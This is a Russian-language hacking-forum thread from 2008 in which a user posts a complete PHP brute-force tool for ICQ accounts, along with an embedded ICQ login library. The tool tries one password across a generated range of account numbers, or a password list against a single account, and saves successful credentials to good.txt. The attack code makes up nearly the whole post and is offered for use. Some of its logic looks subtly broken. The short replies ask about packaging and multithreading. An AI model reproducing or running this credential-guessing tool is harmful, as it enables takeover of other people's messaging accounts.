ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости > Skype, IRC, ICQ, Jabber и другие IM
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

Брут Icq [php]
  #1  
Старый 26.09.2008, 19:48
luz3r
Banned
Регистрация: 23.02.2008
Сообщений: 268
С нами: 9586096

Репутация: 850
По умолчанию Брут Icq [php]

PHP код:
<?   
$good
="good.txt";  
$bad="bad.txt";     
$pass="pass.txt";  
$stop="stop.txt";  
set_time_limit(0);  
ignore_user_abort(1);  
error_reporting(0);  
if (
file_exists($stop))  
    {  
    echo 
"Уберите файл".$stop."для начала брута.";  
    exit();  
}  

$icq     = new WebIcqLite();  
if(!empty(
$_GET["icq"]) && $_GET["brute2"])   
{  
$files= file($pass);  
$icq=$_GET['icq'];  
for(
$i = 0; $i <= count($files); $i++)  
    {  
        
$file = trim($files[$i]);  
        list(
$pass1) = explode("\r\n", $file);  
            if(!
$icq->connect($icq, $pass1[$i]))  
                 {  
                    
$bads = fopen($bad, 'ab');  
                       
fwrite($bads, $icq.";".$pass1."\r\n");  
                       
fclose($bads);  
                  }  
                  else  
                  {  
                
$god = fopen($good, 'ab');  
                   
fwrite($god,$icq.";".$pass1."\r\n");  
                   
fclose($god);  
                   
usleep(100);  
                }  
    }  
}  
elseif(!empty(
$_GET["pass"]) && $_GET["brute"])   
{  

$file1="uins.txt";  
$files= file($file1);  
$pass=$_GET['pass'];  
for(
$i = 0; $i <= count($files); $i++)  
    {  
        
$file = trim($files[$i]);  
        list(
$uin) = explode("\r\n", $file);  
            if(!
$icq->connect($uin, $_GET['pass']))  
                 {  
                    
$bads = fopen($bad, 'ab');  
                       
fwrite($bads, $uin."\r\n");  
                       
fclose($bads);  
                  }  
                  else  
                  {  
                
$god = fopen($good, 'ab');  
                   
fwrite($god, $uin.";".$_POST['pass']."\r\n");  
                   
fclose($god);  
                   
usleep(100);  
                }  
    }  
}  
else  
{  
?>  
<html>  
<head><title>Pro-Html-Php ICQ-Brute version 1.5</title>  
    <meta http-equiv='Content-Type' content='text/html; charset=windows-1251' />  
</head>  
    <style>  
        html, * {  
        background-color: #706A58;  
        color: white;  
        font-size: 11px;  
        font-family: Tahoma;  
        }  
          
        input, textarea {  
        border: solid 1px;  
        border-color:#FF0000;  
        }  
        pre{  
        font-size: 12px;  
        font-family: Tahoma;  
        }  
        div{  
        font-size: 20px;  
        font-family: Tahoma;  
        background-color: #000033;  
        }  
    </style>  
<body>  

<CENTER><div>Pro-Html-Php ICQ-Brute version 1.5</div></CENTER>  
<CENTER><p><fieldset><legend>Брут:</legend>  

<form method="GET">  
    Введите пароль, который будет брутиться <br/>ко всем номерам в файле uins.txt<br/>  
    <input name="pass" value=""/><br/><BR>  
    <INPUT TYPE="hidden" name="brute" value="1">  
    <input type="submit" value="Начать брут"/>  
    </form><P>  
<form method="GET">  
    Введите icq номер <br/>к которому будут подбераться пароли из <?echo $pass;?><br/>  
    <input name="icq" value=""/><br/><BR>  
    <INPUT TYPE="hidden" name="brute2" value="1">  
    <input type="submit" value="Начать брут"/>  
    </form><P>  
    </fieldset>  
<BR>  
        <p><fieldset><legend>Генератор:</legend><form method="GET">Начальный номер:  <P>  
          <input type="text" name="uin_start" />   
        </p>   
        <p>Конечный номер: <BR>  
          <input type="text" name="uin_end" />   
          <INPUT TYPE="hidden" name="gen" value="1">  
</p>   
                 <p>  
                 <?  
    
if(!empty($_GET["uin_start"]) && $_GET["gen"]) {  
     
$uin1=$_GET["uin_start"];   
    
$uin2=$_GET["uin_end"];   
    
$gen = fopen("uins.txt", 'a+');  
for(
$uinR = $uin1; $uinR <= $uin2; $uinR++)  
        {              
        
fwrite($gen, $uins.";".$pass."\r\n");  
        }  
     echo 
"Done.";  
     
fclose($gen);  
}   
?></p> <p>   
          <input type="submit" value="Генирировать" />   
        </fieldset></p> </form>  
                <?php  
    $file
="uins.txt";  
$open=file($file);  
$open_1=file('bad.txt');  
$open_2=file('good.txt');  
    if (isset(
$_GET["clean"]) && $_GET["clean"] == "uins") {  
        
$handle = fopen($file, "w");  
        
fclose($handle);  
        echo 
"<b><font color=\"green\">Внимание:</font> файл ".$file." очищен</b><br><br>";  
    }  
    if (isset(
$_GET["clean"]) && $_GET["clean"] == "bad") {  
        
$handle = fopen($bad, "w");  
        
fclose($handle);  
        echo 
"<b><font color=\"green\">Внимание:</font> файл ".$bad." очищен</b><br><br>";  
    }  
        if (isset(
$_GET["clean"]) && $_GET["clean"] == "good") {  
        
$handle = fopen($good, "w");  
        
fclose($handle);  
        echo 
"<b><font color=\"green\">Внимание:</font> файл ".$good." очищен</b><br><br>";  
    }  
    if(!
file_exists($file))  
    {  
        echo 
"Необходимо создать файл <font style='color: #ED63A5'>".$file."</font> и вписать в него номера для брута<br />";  
    } else {  
        if(
filesize($file) == 0 )  
        {  
            echo 
"Файл <font style='color: #ED63A5'>".$file."</font> пустой...необходимо вписать в него номера для брута<br />";  
        } else {  
            echo 
"Файл <font style='color: #ED63A5'>".$file."</font> имеет ".count($open)." номеров<br /><A HREF=\"?clean=uins\">Очистить файл</A><BR>";  
            echo 
"Файл <font style='color: #ED63A5'>bad.txt</font> имеет ".count($open_1)." номеров<br /><A HREF=\"?clean=bad\">Очистить файл</A><BR>";  
            echo 
"Файл <font style='color: #ED63A5'>good.txt</font> имеет ".count($open_2)." номеров<br /><A HREF=\"?clean=good\">Очистить файл</A><BR>";  
        }  
        if(
filesize($good) == 0 )  
        {echo 
"Ещё ничего не сбручено!<P><BR>";}  
        else{echo 
"Сбручено ".count($open_2)." номера(ов).<br><pre>".file_get_contents($good)."</pre><BR><P>";}  
    }  
    
?>  

All for <A HREF="http://Antichat.ru">Antichat.ru</A>.</CENTER>  
</body>  
</html>  
<?  
}
PHP код:
?>  
<?php  
/*  
* WebIcqLite: ICQ messages sender. v3.2b  
* (C) 2006 Sergey Akudovich, http://intrigue.ru/  
*  
* This library is free software; you can redistribute it and/or  
* modify it under the terms of the GNU Lesser General Public  
* License as published by the Free Software Foundation; either  
* version 2.1 of the License, or (at your option) any later version.  
* See http://www.gnu.org/copyleft/lesser.html  
*  
*/  

class WebIcqLite_TLV {  
    var 
$type;  
    var 
$size;  
    var 
$error;  

    var 
$types = array  
    (  
        
'UIN'                 =>  1, // 0x01  
        
'DATA'                =>  2, // 0x02  
        
'CLIENT'            =>  3, // 0x03  
        
'ERROR_URL'            =>  4, // 0x04  
        
'RECONECT_HERE'        =>  5, // 0x05  
        
'COOKIE'            =>  6, // 0x06  
        
'SNAC_VERSION'        =>  7, // 0x07  
        
'ERROR_SUBCODE'        =>  8, // 0x08  
        
'DISCONECT_REASON'    =>  9, // 0x09  
        
'RECONECT_HOST'        => 10, // 0x0A  
        
'URL'                => 11, // 0x0B  
        
'DEBUG_DATA'        => 12, // 0x0C  
        
'SERVICE'            => 13, // 0x0D  
        
'CLIENT_COUNTRY'    => 14, // 0x0E  
        
'CLIENT_LNG'        => 15, // 0x0F  
        
'SCRIPT'            => 16, // 0x10  
        
'USER_EMAIL'        => 17, // 0x11  
        
'OLD_PASSWORD'        => 18, // 0x12  
        
'REG_STATUS'        => 19, // 0x13  
        
'DISTRIB_NUMBER'    => 20, // 0x14  
        
'PERSONAL_TEXT'        => 21, // 0x15  
        
'CLIENT_ID'            => 22, // 0x16  
        
'CLI_MAJOR_VER'     => 23, // 0x17  
        
'CLI_MINOR_VER'     => 24, // 0x18  
        
'CLI_LESSER_VER'     => 25, // 0x19  
        
'CLI_BUILD_NUMBER'    => 26, // 0x1A  
//        'PASSWORD'            => 37  
    
);  

    function 
setTLV($type, $value, $length = false)  
    {  
        switch (
$length)  
        {  
            case 
1:  
                
$format = 'c';  
                break;  
            case 
2:  
                
$format = 'n';  
                break;  
            case 
4:  
                
$format = 'N';  
                break;  
            default:  
                
$format = 'a*';  
                break;  
        }  
        if (
$length === false)  
        {  
            
$length = strlen($value);  
        }  
        return 
pack('nn'.$format, $this->types[$type], $length, $value);  
    }  

    function 
getTLV($data)  
    {  
        
$arr = unpack('n2', substr($data, 0, 4));  
        
$this->type = $arr[1];  
        
$this->size = $arr[2];  
        return 
substr($data, 4, $this->size);  
    }  

    function 
getTLVFragment($data)  
    {  
        
$frg = unpack('cid/cversion/nsize', substr($data, 0, 4));  
        
$frg['data'] = substr($data, 4, $frg['size']);  
        return 
$frg;  
    }  
}  

class 
WebIcqLite_SNAC extends WebIcqLite_TLV {  

    var 
$request_id = 0;  
    var 
$uin;  

    function 
setSNAC0102()  
    {  
        
$this->request_id++;  
        
$out = pack('nnnN', 1, 2, 0, $this->request_id);  
        
$out .= pack('n*', 1, 3, 272, 650);  
        
$out .= pack('n*', 2, 1, 272, 650);  
        
$out .= pack('n*', 3, 1, 272, 650);  
        
$out .= pack('n*', 21, 1, 272, 650);  
        
$out .= pack('n*', 4, 1, 272, 650);  
        
$out .= pack('n*', 6, 1, 272, 650);  
        
$out .= pack('n*', 9, 1, 272, 650);  
        
$out .= pack('n*', 10, 1, 272, 650);  

        return 
$out;  
    }  

    function 
setSNAC0406($uin, $message)  
    {  
        
$this->request_id++;  
        
$cookie = microtime();  
        
$out = pack('nnnNdnca*', 4, 6, 0, $this->request_id, $cookie, 2, strlen($uin), $uin);  

        
$capabilities = pack('H*', '094613494C7F11D18222444553540000'); // utf-8 support  
        // '97B12751243C4334AD22D6ABF73F1492' rtf support  

        
$data = pack('nd', 0, $cookie).$capabilities;  
        
$data .= pack('nnn', 10, 2, 1);  
        
$data .= pack('nn', 15, 0);  
        
$data .= pack('nnvvddnVn', 10001, strlen($message)+62, 27, 8, 0, 0, 0, 3, $this->request_id);  
        
$data .= pack('nndnn', 14, $this->request_id, 0, 0, 0); //45  
        
$data .= pack('ncvnva*', 1, 0, 0, 1, (strlen($message)+1), $message);  
        
$data .= pack('H*', '0000000000FFFFFF00');  
        
$out .= $this->setTLV('RECONECT_HERE', $data);  
        
$out .= $this->setTLV('CLIENT', '');  
        return 
$out;  
    }  

    function 
setSNAC0406offline($uin, $message)  
    {  
        
$this->request_id++;  
        
$cookie = microtime();  
        
$out = pack('nnnNdnca*', 4, 6, 0, $this->request_id, $cookie, 1, strlen($uin), $uin);  

        
$data = pack('ccnc', 5, 1, 1, 1);  
        
$data .= pack('ccnnna*', 1, 1, strlen($message)+4, 3, 0, $message);  
        
$out .= $this->setTLV('DATA', $data);  
        
$out .= $this->setTLV('CLIENT', '');  
        
$out .= $this->setTLV('COOKIE', '');  
        return 
$out;  
    }  

    function 
getSNAC0407($body)  
    {  
        if (
strlen($body))  
        {  
            
$msg = unpack('nfamily/nsubtype/nflags/Nrequestid/N2msgid/nchannel/cnamesize', $body);  
            if (
$msg['family'] == 4 && $msg['subtype'] == 7)  
            {  
                
$body = substr($body, 21);  
                
$from = substr($body, 0, $msg['namesize']);  
                
$channel = $msg['channel'];  
                
$body = substr($body, $msg['namesize']);  
                
$msg = unpack('nwarnlevel/nTLVnumber', $body);  
                
$body = substr($body, 4);  
                for (
$i = 0; $i <= $msg['TLVnumber']; $i++)  
                {  
                    
$part = $this->getTLV($body);  
                    
$body = substr($body, 4 + $this->size);  
                    if (
$channel == 1 && $this->type == 2)  
                    {  
                        while (
strlen($part))  
                        {  
                            
$frg = $this->getTLVFragment($part);  
                            if (
$frg['id'] == 1 && $frg['version'] == 1)  
                            {  
                                return array(
'from' => $from, 'message' => substr($frg['data'], 4));  
                            }  
                            
$part = substr($part, 4+$frg['size']);  
                        }  
                        return 
false;  
                    }  
                }  
            }  
        }  
        return 
false;  
    }  
    function 
dump($str)  
    {  
        
$f = fopen('dump', 'a');  
        
fwrite($f, $str);  
        
fclose($f);  
    }  

}  

class 
WebIcqLite_FLAP extends WebIcqLite_SNAC{  

    var 
$socet;  
    var 
$command = 0x2A;  
    var 
$channel;  
    var 
$sequence;  
    var 
$body;  
    var 
$info = array();  
    var 
$size_flap;
PHP код:
    function WebIcqLite_FLAP() {  
        
$this->sequence = rand(1, 30000);  
    }  

    function 
getFLAP()  
    {  
        if(
$this->socet && !socket_last_error($this->socet))  
        {  
            
$header = socket_read($this->socet, 6);  
            if (
$header)  
            {  
                
$header = unpack('c2channel/n2size', $header);  
                
$this->channel = $header['channel2'];  
                
$this->size_flap = $header['size2'];  
                
$this->body = socket_read($this->socet, $header['size2']);  
                return 
true;  
            }  
            else  
            {  
                return 
false;  
            }  
        }  
    }  

    function 
parseCookieFLAP()  
    {  
        
$this->getFLAP();  
        
$this->info = array();  
        while(
$this->body != '')  
        {  
            
$info = $this->getTLV($this->body);  
            
$key = array_search($this->type, $this->types);  
            if(
$key)  
            {  
                
$this->info[$key] = $info;  
            }  
            
$this->body = substr($this->body, ($this->size+4));  
        }  
    }  

    function 
parseAnswerFLAP()  
    {  
        
$this->getFLAP();  
        
$array = unpack('n3int/Nint', $this->body);  
        while (
$array['int'] != $this->request_id)  
        {  
            
$this->getFLAP();  
            
$array = unpack('n3int/Nint', $this->body);  
        }  

        
$this->error = 'Unknown serwer answer';  
        if (
$array['int1'] == 4)  
        {  
            switch (
$array['int2'])  
            {  
                case 
1:  
                        
$this->error = 'Error to sent message';  
                        return 
false;  
                    break;  
                case 
0x0c:  
                        return 
true;  
                    break;  
            }  
        }  

        
$this->error = 'Unknown serwer answer';  
        return 
false;  
    }  

    function 
prepare()  
    {  
        
$this->sequence++;  
        
$out = pack('ccnn', $this->command, $this->channel, $this->sequence, strlen($this->body)).$this->body;  
        return 
$out;  
    }  

    function 
login($uin, $password)  
    {  
        
$this->getFLAP();  
        
$this->uin = $uin;  
        
$this->body .= $this->setTLV('UIN',                 "$uin");  
        
$this->body .= $this->setTLV('DATA',                 $this->xorpass($password));  
        
$this->body .= $this->setTLV('CLIENT',                 'ICQBasic');  
        
$this->body .= $this->setTLV('CLIENT_ID',             266, 2);  
        
$this->body .= $this->setTLV('CLI_MAJOR_VER',         20, 2);  
        
$this->body .= $this->setTLV('CLI_MINOR_VER',         34, 2);  
        
$this->body .= $this->setTLV('CLI_LESSER_VER',         0, 2);  
        
$this->body .= $this->setTLV('CLI_BUILD_NUMBER',     2321, 2);  
        
$this->body .= $this->setTLV('DISTRIB_NUMBER',         1085, 4);  
        
$this->body .= $this->setTLV('CLIENT_LNG',             'en');  
        
$this->body .= $this->setTLV('CLIENT_COUNTRY',         'us');  


        
$this->channel = 1;  
        
$pack = $this->prepare();  
        
socket_write($this->socet, $pack, strlen($pack));  
        
$this->parseCookieFLAP();  
        return (
$this->size_flap > 0x100) ? true : false;  

        
$this->body = 0x0000;  
        
$pack = $this->prepare();  
        
socket_write($this->socet, $pack, strlen($pack));  
        
$this->close();  

        if(isset(
$this->info['RECONECT_HERE']))  
        {  
            
$url = explode(':', $this->info['RECONECT_HERE']);  
            if(!
$this->open($url))  
            {  
                
$this->error = isset($this->info['DISCONECT_REASON']) ? $this->info['DISCONECT_REASON'] : 'Unable to reconnect';  
                return 
false;  
            }  
        }  
        else  
        {  
            
$this->error = isset($this->info['DISCONECT_REASON']) ? $this->info['DISCONECT_REASON'] : 'UIN blocked, please try again 20 min later.';  
            return 
false;  
        }  

        
$this->getFLAP();  
        
$this->body .= $this->setTLV('COOKIE', $this->info['COOKIE']);  
        
$pack = $this->prepare();  
        if (!
socket_write($this->socet, $pack, strlen($pack)))  
        {  
            
$this->error = 'Can`t send cookie, server close connection';  
            return 
false;  
        }  
        
$this->getFLAP();  
        
$this->body = $this->setSNAC0102();  
        
$pack = $this->prepare();  
        if (!
socket_write($this->socet, $pack, strlen($pack)))  
        {  
            
$this->error = 'Can`t send ready signal, server close connection';  
            return 
false;  
        }  
        return 
true;  
    }  

    function 
write_message($uin, $message)  
    {  
        
$this->body = $this->setSNAC0406($uin, $message);  
        
$pack = $this->prepare();  
        if (!
socket_write($this->socet, $pack, strlen($pack)))  
        {  
            
$this->error = 'Can`t send message, server close connection';  
            return 
false;  
        }  
        if (! 
$this->parseAnswerFLAP()) {  
            
// try to send offline message  

            
$this->body = $this->setSNAC0406offline($uin, $message);  
            
$pack = $this->prepare();  
            if (!
socket_write($this->socet, $pack, strlen($pack)))  
            {  
                
$this->error = 'Can`t send offline message, server close connection';  
                return 
false;  
            }  
            if (! 
$this->parseAnswerFLAP())  
            {  
                return 
false;  
            }  
            else  
            {  
                
$this->error = 'Client is offline. Message sent to server.';  
                return 
false;  
            }  
        }  

        return 
true;  
    }  

    function 
read_message()  
    {  
        while(
$this->getFLAP())  
        {  
            
$message = $this->getSNAC0407($this->body);  
            if(
$message){  
                return 
$message;  
            }  
        }  
        return 
false;  
    }  

    function 
xorpass($pass)  
    {  
        
$roast = array(0xF3, 0x26, 0x81, 0xC4, 0x39, 0x86, 0xDB, 0x92, 0x71, 0xA3, 0xB9, 0xE6, 0x53, 0x7A, 0x95, 0x7c);  
        
$roasting_pass = '';  
        for (
$i=0; $i<strlen($pass); $i++)  
        {  
            
$roasting_pass .= chr($roast[$i] ^ ord($pass{$i}));  
        }  
        return(
$roasting_pass);  
    }  

    function 
open($url = array('login.icq.com', 5190))  
    {  
        
$this->socet = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);  
        if (
$this->socet < 0 || $this->socet === false)  
        {  
            
$this->error = "socket_create() failed: reason: " . socket_strerror($this->socet);  
            return 
false;  
        }  
        
$result = socket_connect($this->socet, gethostbyname($url[0]), $url[1]);  
        if (
$result < 0 || $result === false)  
        {  
            
$this->error = "socket_connect() failed.\nReason: ($result) " . socket_strerror(socket_last_error($socket));  
            return 
false;  
        }  
        return 
true;  
    }  

    function 
close()  
    {  
        return 
socket_close($this->socet);  
    }  
}  

class 
WebIcqLite extends WebIcqLite_FLAP {  

    function 
WebIcqLite ()  
    {  
        
$this->WebIcqLite_FLAP();  
    }  

    function 
is_connected()  
    {  
        if(!
$this->socet || socket_last_error($this->socet))  
        {  
            
$this->error = socket_strerror(socket_last_error($socket));  
            return 
false;  
        }  
        return 
true;  
    }  

    function 
connect($uin, $pass)  
    {  
        if (!
$this->open())  
        {  
            return 
false;  
        }  

        return 
$this->login($uin, $pass);  
    }  

    function 
disconnect()  
    {  
        return 
$this->close();  
    }  

    function 
get_message()  
    {  
        return 
$this->read_message();  
    }  

    function 
send_message($uin, $message)  
    {  
        return 
$this->write_message($uin, $message);  
    }  
}  
?> 
HoRmOlD
Скрипт для ICQ-брута + Бонус + Генератор!
Для запуска вам надо просто ввести пароль который будет подбераться к номерам из текстового файла.
В этой версии я сделал вам два сюрприза! Это: Генератор номеров(вам просто надо написать начальный и конечный номер для генерации!) и базу частых паролей!!

З.Ы. Пришлось разделить из-за большого кода..

Последний раз редактировалось luz3r; 26.09.2008 в 20:15..
 
Ответить с цитированием

  #2  
Старый 26.09.2008, 20:13
BlackDraG
Познающий
Регистрация: 27.05.2008
Сообщений: 34
С нами: 9451330

Репутация: 19
По умолчанию

выложи лучше целым файлом куда нить )
 
Ответить с цитированием

  #3  
Старый 26.09.2008, 20:19
luz3r
Banned
Регистрация: 23.02.2008
Сообщений: 268
С нами: 9586096

Репутация: 850
По умолчанию

 
Ответить с цитированием

  #4  
Старый 26.09.2008, 20:25
geforse
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
С нами: 9574565

Репутация: 712


По умолчанию

как там насчёт многопоточности ?
 
Ответить с цитированием

  #5  
Старый 26.09.2008, 20:45
iddqd
Banned
Регистрация: 19.12.2007
Сообщений: 924
С нами: 9681386

Репутация: 2145


По умолчанию

Это ж пхп- никакой многопоточности...
 
Ответить с цитированием
Ответ



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Продажа от SEGMENT'a SEGMENT ICQ - Покупка, продажа 9 11.03.2009 16:37
Полный обзор ICQ клиентов BlackCats Skype, IRC, ICQ, Jabber и другие IM 48 14.12.2008 00:32
продаю спамилку и флудер по асе sem Разное - Покупка, продажа, обмен 14 12.11.2008 20:43
продаю спамеры, флудеры по асе недорого sem Разное - Покупка, продажа, обмен 13 25.08.2008 09:34
БРУТ PUMA Уязвимости Mail-сервис 8 21.09.2004 16:06



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.